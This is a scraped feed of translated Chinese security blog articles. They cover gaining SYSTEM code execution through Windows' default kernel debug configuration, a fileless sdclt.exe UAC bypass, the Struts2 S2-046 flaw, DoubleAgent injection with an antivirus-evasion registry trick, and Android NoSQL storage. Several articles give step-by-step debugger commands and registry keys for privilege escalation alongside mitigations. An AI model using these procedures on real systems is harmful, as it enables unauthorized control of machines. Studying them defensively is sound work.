投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

本文来自于很久以前我的一次现场渗透测试工作成果。在等待其他测试工作完成间隙,客户对我能否在某个Windows工作站上执行代码很感兴趣(原因在这里并不重要)。在测试现场,我拥有测试机的物理访问权限,因此这件事情不难完成。我最终的解决方案是利用Windows默认内核调试配置,在不对系统配置做出永久性修改的前提下实现了任意代码执行。

这种技术的优点在于它所使用的工具集很小,可以在工作中随身携带以防万一。然而,它要求目标设备存在已启用的COM1串口,且未使用TPM型Bitlocker或类似机制,这一条件不一定能得到满足。

有人可能会对此不以为然,因为能够物理访问目标机器意味着攻击目标已基本达成,这也是我为什么认为这种方法是Windows设备中存在的末日型漏洞。然而,内核调试配置是系统的默认设置,管理员可能不知道如何修改。从客户角度来看,这种方法让我们这些人看起来像是那种混蛋黑客,毕竟使用命令行CDB比WinDBG看起来更酷一些。

为了避免读者误解本文初衷,在此强调:这并不是一个Windows漏洞!

现在,让我们来看一下技术细节。


二、应用场景

你发现自己身处一个布满Windows工作站的房间中(希望是个合法场景),你的任务是在其中一台机器上获得代码执行权。首先映入你脑海的有以下几种办法:

1、更改启动设置,从CD/USB设备中启动,修改HDD

2、打开机器外壳,拉出HDD,修改其中内容并重新插入

3、滥用Firewire DMA访问来读写内存

4、滥用机箱后面的网络连接,尝试进行PXE引导或者对本机的网络/域流量开展MitM(中间人)攻击。

仔细观察工作站,你发现机器引导顺序第一位是硬盘硬盘引导,而BIOS密码的存在使你无法修改此顺序(假设本机BIOS不存在漏洞)。此外,此例中工作站机箱上有个物理锁,你无法打开它的外壳。最后,工作站没有Firewire或其他外部PCI总线来DMA攻击。我没有测试网络攻击场景,但进行PXE启动攻击或MitM攻击可能会遇到IPSec问题,导致攻击难以奏效。

这些工作站存在一个经典的9针串行接口。藉此我想到了Windows在COM1上有个默认配置的内核调试接口,然而内核调试在本案例中并没有启用。那么有没有一种办法使我们在不具备管理员权限下启用系统的内核调试功能呢?本文的答案是肯定的。接下来让我们来研究如何在这种场景下完成这一任务。


三、环境准备

在开始工作前,首先你的手头上需要具备以下几样东西:

1、测试机的串口(这是必要条件)。驱动安装正常的串口转接USB也行。

2、本地安装的Windows。这么要求主要是为了操作便利。现如今也许有工具可以在linux/macOS上进行完整的Windows内核调试,但我对此表示怀疑。

3、一条调制解调器线缆。你需要这个东西来连接测试机器的串口与工作站的串口。

现在确保你的测试机上环境准备就绪,设置WinDBG使用本地COM口来进行内核调试。只需要打开WinDBG,在菜单中依次选择“文件”、“内核调试”或者按下CTRL+K组合键。你可以看到如下对话框:


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

在Port一栏填入正确的COM口值(即你的USB转串口值)你不需要修改波特率,保留Windows的默认值115200即可。你可以在另一个系统上以管理员运行“bcdedit /dbgsettings”命令来检查这个值是否设置正确。


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

你也可以通过这个命令来完成同样工作:

windbg-kcom:port=COMX,baud=115200

四、在Windows 7上启用的内核调试功能

在Windows 7上启用内核调试功能十分简单(Vista上也是如此,但现在应该没多少人用了吧?)。重启工作站,在BIOS屏幕加载完毕后按下F8键,顺利的话你可以看到如下界面:


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

使用方向键,选择调试模式并回车,Windows开始启动。希望你转到WinDBG界面时可以看到界面上显示的系统启动信息。


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

如果启动信息没有显示,可能是COM口被禁用、内核调试配置发生改变或者你的USB转串口适配器工作不正常。


五、在Windows 8-10上启用内核调试功能

接下来看新版本的Windows上如何操作,你会发现按下F8时没有发生任何变化。这是因为微软自Windows 8以后对引导过程做的一个修改。随着SSD的流行以及Windows启动过程机制的更改,微软已逐渐摒弃F8键功能。此功能依然存在,但你需要在类似UEFI的菜单中进行配置。

现在有个问题,之前我们假设我们无法访问BIOS配置,因此我们也无法访问UEFI配置选项,你能做到的只是进入设置界面,选择重启后进入高级启动模式选项,或者在命令行中利用shutdown命令配合/r /o参数完成这一任务。


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

这些方法对我们来说都不适用。幸运的是有个文档中描述了另一种方法:在开始菜单中选择重启的同时按住Shift键,这样系统将在重启时进入高级启动选项模式。听起来此方法也不怎么有效,因为你还是得进入系统才能选择菜单。幸运的是在那台工作站的登录界面有个重启选项,而按住Shift这个技巧在这个界面还是可以正常工作。在登录界面右下角点击电源选项,按住Shift同时选择重启,一切顺利的话你可以看到如下界面:


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

选择“故障排除”选项,进入下一界面。


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

在这里选择“高级选项”,进入下一界面。


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

在此界面中,选择“启动设置”选项,进入如下界面。前面那个界面中你第一反应可能认为应该选择“命令行”选项以获取系统命令提示符,但这种情况下你还是需要一个本地管理员用户的密码。


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

选择“重启”后工作站将会重启,你可以看到如下提示界面。


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

最后,按下F1启动内核调试功能。现在,F8的功能又回来了,一切按照计划进行的话,你可以在WinDBG中看到熟悉的启动信息。


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

六、代码执行

现在你拥有了附加到工作站的一个内核调试器,最后一个工作就是绕过登录界面。使用Firewire DMA攻击时的一个常见技巧是在内存中搜索与LSASS的密码检查相对应的对应模块(Pattern)并将其终止,然后任何登录密码都可以进入系统。这是一个办法,但并不完美(比如你会在系统日志中留下登录记录)。此外,很有可能本地管理员账号已经重命名过,那么你还需要知道一个可用的用户名。

与此相反,我们准备发起一个更有针对性的攻击。我们拥有的是系统可用的内核视图,而不是物理内存视图,因此还是有希望的。登录界面中有个辅助工具选项,使用这个选项会以SYSTEM权限创建一个新进程。我们可以劫持该进程创建过程以获得命令提示符,来完成攻击任务。


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

首先,我们要对目标主机配置符号链接。没有符号链接我们无法通过枚举必要的内核结构以查找要攻击的系统数据。确保符号链接配置正确的最简单的一个方法是在命令调试窗口中输入“!symfix+”然后输入“!reload”即可。输入“ !process 0 0 winlogon.exe”命令,查找负责登录窗口显示的进程。一个成功的输出如下所示:


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

上图标红部分值即为EPROCESS结构的内核地址。复制该值,使用“.process /i EPROCESS”命令获得一个交互式调试会话。输入“g”,按下F5或回车,你可以看到以下信息:


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

现在,通过这个交互式会话,输入“ !reload -user”,我们可以枚举用户模块并加载他们的符号链接。我们可以在CreateProcessInternalW上设置断点,这个函数在每次创建新进程时都会用到。不同系统版本中该函数所处位置不一样,在Windows 7上它位于kernel32 DLL中,在Windows 8以上它位于kernelbase DLL中。因此,根据系统版本,使用“bp MODULE!CreateProcessInternalW”命令对相应模块进行替换。

设置断点后,点击登录屏幕上的轻松访问按钮,此时断点条件被触发。现在依次输入“r”和“k”命令,导出当前寄存器值,显示返回地址信息。如下所示:


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

我们可以在堆栈轨迹中看到与轻松访问貌似有关的调用,如WlAccessibilityStartShortcutTool等。CreateProcessInternalW需要很多参数,但我们真正感兴趣的只有第三个参数,它是一个指向NUL结尾的命令行字符串指针。我们可以修改该指针指向命令提示符以执行命令。首先,使用“dU”命令确保我们已获取正确的字符串,对于x64系统,我们需要使用“dU r8”命令,因为第三个参数存储在r8寄存器中,对于x86系统我们使用的是“dU poi(@esp+c)”命令,因为32位系统上所有的参数都在堆栈上进行传递。如下所示:


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

可知WinLogon正在试图创建一个utilman.exe的运行实例。现在这个字符串处于可写状态(如果不可写,系统就会崩溃,这是CreateProcess的一个愚蠢行为),我们直接覆盖它即可。使用ezu r8 "cmd"或者ezu poi(@esp+c) "cmd"命令,输入g,回车,命令提示符就会出现在你的眼前。


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限

七、缺点分析

该方法存在多个不足,如:

1、工作站必须有个串口,串口必须配置为COM1,现如今这种情况已不常见。

2、操作中工作站必须重启,这意味着你无法获得任何已登录用户的凭证或内存中的敏感信息。另外如果工作站有个启动密码,你也无法对它采取重启操作。

3、内核调试配置必须处于默认设置状态。

4、在配置了TPM型Bitlocker机器上,你无法在忽略Bitlocker引导条件下改变调试器配置。

最后我想说明的是这种方法的配置成本较低,你只需要随身携带一个USB转串口适配器以及一根闲置调制解调器线缆即可,这并不麻烦。


八、防御措施

有以下一些方法可以防御此类攻击:

1、将默认调试配置改为本地内核调试。这种模式意味着只有以管理员权限运行的本地调试器能够调试内核(且调试功能必须启用)你可以通过启动管理员命令行,输入“bcdedit /dbgsettings LOCAL”更改配置。你也可以通过登录脚本或GPO选项实现自动配置。

2、不要购买带有串口的工作站。听上去不是个好主意,因为很多时候你没法掌握购买权。但仍然不要购买带有无意义接口的设备,据我所知有些供应商仍然生产具有该接口的工作站。

3、如果你的电脑带有串口,请在BIOS中禁用它们。如果无法禁用,请将它们的默认I/O口设置为除0X3F8的其他值。老式COM口不能即插即用,Windows使用了显式I/O口与COM1通信。如果你的COM口未配置为COM1,Windows将无法正确使用它们。如果你安装的是二手市场的COM口设备,同样需要对此项进行修改。

4、最后请使用TPM型Bitlocker。即使之后别人没办法对你的硬盘进行离线修改,这样做也是值得的。Bitlocker结合TPM可以阻止别人在不知道Bitlocker恢复密钥前提下启动系统的调试功能。在Windows 8以上进入系统设置选项前需要对启动选项进行临时修改配置,这会导致TPM引导失败。我没有在Windows 7上测试此项功能,因为启动菜单位于winload.exe启动进程中,此时Bitlocker的密钥已经解密,因此我认为使用F8可能无法修改启动选项。读者可以在配置Bitlocker及TPM的Windows 7机器上进行测试。

另一个有趣的事情是,我在写这篇文章时,最新版的Windows 10(1607周年版)已经将内核调试默认设置为本地调试状态。然而如果你从老系统升级而来,这个选项可能在升级期间未发生改变,你需要核实一下。


九、总结

根据前文分析,这个方法不是一个特别严重的系统缺陷。如果已经有人能够物理访问你的机器,他已经可以采用一些常见手段进行攻击(如HDD访问、BIOS、Firewaire等)。物理攻击法是个好方法,为此你也需要在物理层面对你的机器进行防护。此外你还可以考虑部署Bitlocker,这样别人就难以通过攻击启动过程来危害机器,同时也可以防止电脑被窃后的敏感信息泄露。


【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限
【技术分享】如何利用Windows默认内核调试配置实现代码执行并获取管理员权限
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://tyranidslair.blogspot.co.uk/2017/03/getting-code-execution-on-windows-by.html

【技术分享】看我如何利用sdclt.exe实现无文件绕过UAC

$
0
0
【技术分享】看我如何利用sdclt.exe实现无文件绕过UAC

2017-03-23 13:54:01
来源:enigma0x3.net 作者:myswsun

阅读:787次
点赞(0)
收藏





【技术分享】看我如何利用sdclt.exe实现无文件绕过UAC

翻译:myswsun

稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00前言

最近,我发布了一篇文章“使用sdclt.exe绕过UAC”。你可能记得APP Path需要一个文件才能有效。因为sdclt.exe在那里,我将发布另一种绕过的方法,是无文件的。在我上一篇文章中我提过它,但是Vault7泄漏确认了绕过UAC在操作上是有趣的,在转储中详细记录了几种UAC绕过的方法。目前为止公布的绕过方法中,尤其突出的是@hfiref0x的UACME项目,该项目是对公开的技术的集合。

在更新版本的windows中,显示了微软很重视绕过UAC。这刺激了我花更多的时间在UAC上,且尝试不同的方法。


0x01分析

正如一些你知道的,有一些微软签名的二进制文件由于他们的清单文件会自动提权。你能在这里阅读到这些二进制和他们的清单文件。通过SysInternals的工具sigcheck能搜索更多有这种特征的二进制文件,我发现了sdclt.exe,并验证了它会由于它的清单文件自动提权:


【技术分享】看我如何利用sdclt.exe实现无文件绕过UAC

注意:这只能在Windows10上起作用。这个Windows 7上的sdclt.exe的清单文件中requestedExecutionLevel为AsInvoker,以防止从中级特权启动时的自动提权。

正如我上文中提到的,用于调查Windows上的加载常见的技术是使用Sysinternals Process Monitor来分析一个进程执行时的行为。我经常对与我调查的进程做一些二进制分析以便找到其他的机会。

当分析自动提权的二进制时,首先该做的是寻找潜在的命令行参数。我是用IDA做这个,但是你能使用你喜欢的工具。当分析sdclt.exe时,由于一些有趣的关键字我注意到一些参数:


【技术分享】看我如何利用sdclt.exe实现无文件绕过UAC

这些是有趣的,因为sdclt.exe在它的清单文件中被设置为自动提权。在IDA中查看sdclt.exe,它校验参数是否为“/kickoffelev”。如果是,设置sdclt.exe的全路径,添加“/KickOffJob”作为一个参数,然后调用SxShellExcuteWithElevate。


【技术分享】看我如何利用sdclt.exe实现无文件绕过UAC

SxShellExecuteWithElevate使用Runasverb启动%systemroot%\system32\sdclt.exe /kickoffjob。当你右键一个二进制文件时,就是执行RunAsAdministrator选项。


【技术分享】看我如何利用sdclt.exe实现无文件绕过UAC

下一步是运行sdclt.exe /Kickoffelev,并用procmon监控。在得到输出后,我们看到HKEY_CURRENT_USER中受信的“shell\<verb>command”注册表搜索路径。


【技术分享】看我如何利用sdclt.exe实现无文件绕过UAC

下一步是添加这些键,并根据我们的二进制和参数执行。不幸的是,在添加这些键后什么也不执行,并启动了sdclt.exe /kickoffelev。回到procmon中,我们的键是需要的,但是sdclt.exe能在另一个command键中找到:IsolatedCommand。


【技术分享】看我如何利用sdclt.exe实现无文件绕过UAC

然后我们能在IsolatedCommand键中以一个字符串(REG_SZ)添加我们的payload和参数:


【技术分享】看我如何利用sdclt.exe实现无文件绕过UAC

这是和eventvwr.exe绕过方法中相同的bug。你能在这阅读eventvwr.exe绕过和使用的键。注意,取代shell\open\command,我们现在看到了shell\runas\command。这是因为使用RunAs调用SxShellExecuteWithElevate时sdclt.exe会被再次调用。

在添加我们的payload作为IsolatedCommand的值后,运行sdclt.exe /KickOffElev将在高特权级执行我们的payload(及任何参数):


【技术分享】看我如何利用sdclt.exe实现无文件绕过UAC

为了描述这个技术,你能在这里找到一个脚本:https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1

这个脚本包含你的payload和任何参数的一个全路径。“C:\Windows\System32\cmd.exe /c notepad.exe”是一种好的验证方式。它将自动添加键,启动sdclt.exe /kickoffelev,并清理。

这个特别的技术能通过设置UAC等级为总是通知或者将当前用户移出本地管理员组来补救或修复。而且,如果你想监控这个行为,你能利用特征寻找和注册表操作告警:

HKCU:\Software\Classes\exefile\shell\runas\command\isolatedCommand

【技术分享】看我如何利用sdclt.exe实现无文件绕过UAC
【技术分享】看我如何利用sdclt.exe实现无文件绕过UAC
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/

【漏洞分析】Struts2 S2-046 漏洞原理分析

$
0
0
【漏洞分析】Struts2 S2-046 漏洞原理分析

2017-03-23 17:45:19
来源:安全客 作者:360GearTeam

阅读:546次
点赞(0)
收藏





【漏洞分析】Struts2 S2-046 漏洞原理分析

传送门

【重大漏洞预警】Struts 2 远程代码执行漏洞(S2-045\S2-046) (含PoC)

【漏洞分析】Strust2 S2-046 远程代码执行漏洞两个触发点分析


作者:hezi@360GearTeam

背景介绍

Struts2又爆了一个等级为高危的漏洞---S2-046,仔细一看,S2-046和S2-045的漏洞触发点一样,利用方式不一样。不过也因为S2-046和S2-045触发点相同,所以之前通过升级或者打补丁方式修补S2-045漏洞的小伙伴们就不用紧张了,如果是仅针对Content-Type做策略防护的话,还需要对Content-Disposition也加一下策略。当然最好的方式还是升级到最新版。

S2-046漏洞的利用条件是在S2-045的基础上的。S2-046基本利用条件有两点:

1. Content-Type 中包含multipart/form-data

2. Content-Disposition中filename包含OGNL语句

这里解释一下Content-Disposition。Content-disposition 是 MIME 协议的扩展,当浏览器接收到请求头时,它会激活文件下载对话框,请求头中的文件名会自动填充到对应的文本框中。

S2-046有两个利用方式,一个是Content-Disposition的filename存在空字节,另一个是Content-Disposition的filename不存在空字节。其中,当Content-Disposition的filename不存在空字节并想要利用成功的话,还需要满足以下两个条件:

a. Content-Length 的长度值需超过Struts2允许上传的最大值(2M),如图。


【漏洞分析】Struts2 S2-046 漏洞原理分析

b.数据流需要经过JakartaStreamMultiPartRequest。(需在struts.xml添加配置: <constant name="struts.multipart.parser" value="jakarta-stream" />)

需要注意的是,在Struts使用Jakarta默认配置时,数据流并没有经过JakartaStreamMultiPartRequest。根据官方解释,在Struts 2.3.20以上的版本中,Struts2才提供了可选择的通过Streams实现Jakarta组件解析的方式。在Struts 2.3.20以上的版本中,通过Jakarta组件实现Multipart解析的流程可以有两种,一种是默认的Jakarta组件,一种是在struts.xml中主动配置<constant name="struts.multipart.parser" value="jakarta-stream" />。而只有在struts.xml中添加了相应配置,数据流才会经过JakartaStreamMultiPartRequest。

下图分别为Struts 2.3.8和Struts 2.3.24.1的multipart部分的源码包。可以看到Struts 2.3.24.1比Struts 2.3.8新增了一个文件JakartaStreamMultiPartRequest。所以,如果构造的poc中Content-Disposition的filename不存在空字节,则它的影响版本为2.3.20以上的版本。


【漏洞分析】Struts2 S2-046 漏洞原理分析

源码分析

以下源码分析基于Struts 2.3.24.1,我们根据利用方式不同分析下这两个数据流的执行过程。

Content-Disposition的filename存在空字节

对上传的文件解析


【漏洞分析】Struts2 S2-046 漏洞原理分析

创建拦截器后解析header,如图:Content-Type和Content-Disposition都在此解析。


【漏洞分析】Struts2 S2-046 漏洞原理分析

Filename从Content-Disposition获取。


【漏洞分析】Struts2 S2-046 漏洞原理分析

解析到filename后,会对文件名进行检查,若Content-Disposition的filename存在空字节时,则会抛出异常。如图。


【漏洞分析】Struts2 S2-046 漏洞原理分析

最后进入到触发点。


【漏洞分析】Struts2 S2-046 漏洞原理分析

Content-Disposition的filename不存在空字节

这个利用方式有一个条件是Content-Length 的长度需超过Struts允许上传的最大长度,并且数据流要经过JakartaStreamMultiPartRequest,这是因为JakartaStreamMultiPartRequest和JakartaMultiPartRequest对Content-Length的异常处理方式不一样。当数据经过JakartaStreamMultiPartRequest时,判断长度溢出后,进入addFileSkippedError(),如下图。这里注意,addFileSkippedError有一个参数为itemStream.getName,会对filename进行检查,如果filename中存在空字节, 则和上一个利用方法的数据流一样,在checkFileName()就抛出异常,不会再进入到addFileSkippedError()了。


【漏洞分析】Struts2 S2-046 漏洞原理分析

跟进addFileSkippedError()可以看到, buildErrorMessage()抛出异常时调用了filename,这个filename就是通过Content-Disposition传递的filename。而buildErrorMessage()就是漏洞触发点,传递来的filename被解析,形成了漏洞。


【漏洞分析】Struts2 S2-046 漏洞原理分析

而在JakartaMultiPartRequest数据流中,在判断长度后,抛出的异常中并没有包含文件名解析,如下图。所以漏洞就不会被触发了。


【漏洞分析】Struts2 S2-046 漏洞原理分析

个人感想

相同的触发点采用不同的绕过方式,这种事情已经不是第一次发生了。因为Struts2的交互性和扩展性,同一个触发点有可能有多个绕过方式。而这种漏洞的产生,也告诉我们,想要拿全cve,不仅要关注官方的patch,也要对数据流有比较全面的了解。以上分析为个人分析,感谢360GearTeam小伙伴们的支持。


参考文献

1. https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#

2. http://bobao.360.cn/learning/detail/3571.html

3. http://struts.apache.org/docs/s2-046.html

4. https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a


传送门

【重大漏洞预警】Struts 2 远程代码执行漏洞(S2-045\S2-046) (含PoC)

【漏洞分析】Strust2 S2-046 远程代码执行漏洞两个触发点分析



【漏洞分析】Struts2 S2-046 漏洞原理分析
【漏洞分析】Struts2 S2-046 漏洞原理分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3649.html

DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

$
0
0
DoubleAgent:代码注入和持久化技术--允许在任何windows版本上控制任何进程

2017-03-23 17:28:31
来源:cybellum.com 作者:pwn_361

阅读:431次
点赞(0)
收藏





DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

翻译:pwn_361

稿费:260RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、概述

我们想介绍一种新的用于代码注入和保持对机器持久化控制的0-day技术,叫做“DoubleAgent”。

DoubleAgent技术可以利用到:

1.任何Windows版本(从XP到WIN 10)。

2.任何Windows架构(X86和X64)。

3.任何Windows用户(系统/管理员等)的任何目标进程,包括特权进程(操作系统/杀毒软件等)。

DoubleAgent技术利用了在Windows中已经存在15年的一个未公开但合法的功能,因此还不能被修补。

代码注入:

利用DoubleAgent技术,攻击者有能力将任何DLL注入到任何进程中。在受害者的进程启动过程中,该代码注入过程发生在很早的阶段,这使得攻击者可以完全控制该进程,该进程无法有效的保护好自己。

该代码注入技术是具有革命性的,因为任何杀毒软件都无法探测或阻止它。

持久化:

即使在用户重新启动系统或安装修补程序和更新后,DoubleAgent技术还是可以断续注入代码,这使它成为了一个完美的持久化技术。

一旦攻击者决定将一个DLL注入到一个进程中,它们将永远被强制绑定。即使受害者完全卸载和重新安装了它的应用程序,攻击者的DLL仍然会在该进程每次重启时被注入。


二、攻击向量

1、攻击反病毒软件&下一代反病毒软件:通过将代码注入到反病毒软件中,完全控制任何反病毒软件,同时绕过其自我保护机制。这种攻击方法在大部分反病毒软件中已经被证实有效,包括下面的反病毒产品,但不限于这些:Avast,AVG,Avira,Bitdefender,Comodo,ESET,F-Secure,Kaspersky,Malwarebytes,McAfee,Norton,Panda,Quick Heal和Trend Micro。

2、安装持久化恶意软件:安装恶意软件,即使是重启系统也能“存活”的恶意软件。

3、劫持权限:劫持一个现有信任进程的权限,伪装成信任进程执行一些恶意操作,如窃取数据、C2通信、横向运动、偷取和解密敏感数据。

4、改变进程行为:修改进程行为,如安装后门、降低加密算法,等等。

5、攻击其他用户会话:将代码注入到其他用户会话的进程中(系统、管理员等等)。

6、更多其它情况。


三、技术详情

1.微软应用验证器提供者

微软通过微软应用程序验证器提供者DLL,提供了一个标准的方法,用于为本机代码安装运行时验证工具。验证器提供者DLL是一个DLL,会被加载到进程中,并负责为应用程序执行运行时验证。

为了注册一个新的应用程序验证器提供者DLL,需要创建一个验证器提供者DLL,并通过在注册表中创建一组键值来注册它。

一旦将该DLL注册为某个进程的验证器提供者DLL,在每次启动该进程时,该DLL将被Windows加载者长期注入到这个进程中,即使是在重启/更新/重装/打补丁之后,也同样有效。

2.注册

应用程序验证器提供者会被注册为一个可执行文件名,意味着每个DLL会绑定到一个特定的可执行文件名上,并且带有该注册名的进程在每一次启动新进程时,该DLL就会被注入到该进程中。

例如,如果将DoubleAgentDll.dll注册到cmd.exe上,当启动“C:-cmd.exe”和“C:-Windows-System32-cmd.exe” 时,DoubleAgentDll.dll就会被注入到这两个进程中。

一旦被注册,每次使用该注册名称创建新进程时,操作系统就会自动进行注入。该注入将会持续发生,不论重启/更新/重装/补丁,或其它任何情况。

可以通过使用我们公开的DoubleAgent项目,注册一个新的应用程序验证器提供者。


DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

或者使用我们的验证模块,将注册能力整合到一个存在的项目中。


DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

在底层,注册进程将会在下面的注册表项中创建两个注册表键值:

“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\PROCESS_NAME”
DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

最终的结果应该是:


DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

一些反病毒软件会尝试保护“Image File Execution Options”中它们的进程对应的键值。如一款反病毒软件可能会尝试阻止任何对“Image File Execution Options\ANTIVIRUS_NAME”的访问。

对于这种简单的保护机制,通过稍微修改一下注册表路径,就可以轻松的绕过去。如,我们不需要访问“Image File Execution Options\ANTIVIRUS_NAME”,我们首先可以对“Image File Execution Options”重新命名成一个临时的名称,如“Image File Execution Options Temp”,然后,在“Image File Execution Options Temp\ANTIVIRUS_NAME”下,创建一个新的注册表键值,最后,再将这个临时名称重命名成原来的名称“Image File Execution Options”。

因为我们创建的新注册表键值是在“Image File Execution Options Temp\ANTIVIRUS_NAME”下,不是在“Image File Execution Options\ANTIVIRUS_NAME”下,因此,这足以绕过反病毒软件的自我保护机制。

在我们测试的所有反病毒软件中,只有个别几款反病毒软件会尝试保护它们的注册表键值,不过,我们使用“重命名技巧”可以绕过所有的反病毒软件。

这个“重命名技巧”已经运用到了我们的验证模块中。


DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

3.注入

每一个进程启动时,操作系统会通过调用ntdll的LdrInitializeThunk函数,将控制权从内核模式转向用户模式。从这一刻起,ntdll开始负责该进程的初始化过程(初始化全局变量、加载输入、等),并且最终将控制权转到该执行程序的主函数。


DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

在该进程处于一个早期阶段时,此时,只加载了ntdll.dll模块和该可执行文件(NS.EXE)。


DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

随后,Ntdll开始对该进程进行初始化,大部分初始化过程发生在ntdll的LdrpInitializeProcess函数过程中。


DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

通常,初始化过程中,第一个被加载的DLL是kernel32.dll。


DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

但是如果存在应用程序验证器,ntdll的LdrpInitializeProcess函数会调用AVrfInitializeVerifier函数,调用该函数的结果是:在加载kernel32前,我们的验证器提供者DLL会首先被加载。


DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

该DLL在任何其它系统DLL加载前被加载,其结果就是:将该进程的绝对控制权交给了我们。


DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

一旦我们的DLL被ntdll加载,我们的DLLMain函数就会被调用,从而,在受害进程中,我们就可以自由的做我们想做的事情了。


DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程

四、如何缓解

微软为杀毒厂商提供了全新的设计概念,叫做“受保护进程”。这个新概念是专门为反病毒服务设计的。反病毒进程可以作为“受保护进程”被创建,并且这个“受保护进程的基础设施”只允许那些受信任的、签名的代码去加载,并且内置了代码注入攻击防御功能。这意味着即使一个攻击者发现了一个新的零日代码注入技术,它也不能被用于对抗反病毒软件,因为它的代码没有被签名。但是,目前没有哪个反病毒软件应用了这种设计概念(除了微软的Defender),尽管微软在3年前就已经推出了这个设计概念。

需要注意的重要一点是,即使反病毒厂商会阻止注册企图,代码注入技术和持久化技术还是会永远存在,因为它是操作系统的合法功能。


五、源代码

你可以在我们公司的公共Github上找到DoubleAgent技术的源代码。


六、总结

攻击者总是会不断进化、并发现新的零日攻击。我们需要付出更多的努力去探测和阻止这些攻击,并且不要盲目相信传统的安全解决方案,正如这里所演示的,它不仅对零日攻击无效,而且还为攻击者创造复杂和致命攻击打开了新的机会。


DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程
DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://cybellum.com/doubleagentzero-day-code-injection-and-persistence-technique/

【系列分享】安卓Hacking Part 19:NoSQL数据库不安全的数据存储

$
0
0
【系列分享】安卓Hacking Part 19:NoSQL数据库不安全的数据存储

2017-03-24 09:59:00
来源:infosecinstitute.com 作者:shan66

阅读:320次
点赞(0)
收藏





【系列分享】安卓Hacking Part 19:NoSQL数据库不安全的数据存储

翻译:shan66

稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

在上一篇文章中,我们讨论了不安全的数据存储是如何影响Android应用程序的安全性的。在本文中,我们将继续讨论不安全的数据存储问题,不过这里与数据库密切相关。

当前,NoSQL已经被各个大型公司广泛采用。像谷歌和Facebook这样的巨人也在使用NoSQL来管理他们的“大数据”。当然,NoSQL仍然在肆意蔓延—— NoSQL数据库还可用于移动应用程序。虽然针对Android系统的NoSQL解决方案有多种,但是我们这里仅介绍Couchbase Lite,在Android和iOS平台本地数据存储方面,这是一个非常不错的解决方案。

与前面讨论过的不安全数据存储概念相仿,即使以明文格式保存的NoSQL数据也可以通过各种技术(如“获取root权限的设备”、“备份技术”等)进行访问。本文将通过具体的示例应用程序为大家详细加以演示。


NoSQL演示应用程序的功能

让我们先看看这个应用程序的各种功能。

首先,请启动应用程序,这时将会显示如下所示的屏幕。


【系列分享】安卓Hacking Part 19:NoSQL数据库不安全的数据存储

用户可以在应用中输入卡号,然后点击提交按钮。


【系列分享】安卓Hacking Part 19:NoSQL数据库不安全的数据存储

如果一切顺利,用户将看到一个成功消息,如下所示。


【系列分享】安卓Hacking Part 19:NoSQL数据库不安全的数据存储

查看源代码

在这个示例中,用户输入的数据将存储在表单文档中。

下面的示例代码来自于演示应用程序的代码。

Stringdbname="carddetails"; //createanewdatabase Databasedatabase; try{ database=manager.getDatabase(dbname);//managerisanobjectofManagerclass. }catch(CouchbaseLiteExceptione){ return; } Stringcardnumber=editText.getText().toString().trim(); Map<String,Object>data=newHashMap<String,Object>(); data.put("cardnumber",cardnumber); Documentdocument=database.createDocument(); try{ document.putProperties(data); }catch(CouchbaseLiteExceptione){ }

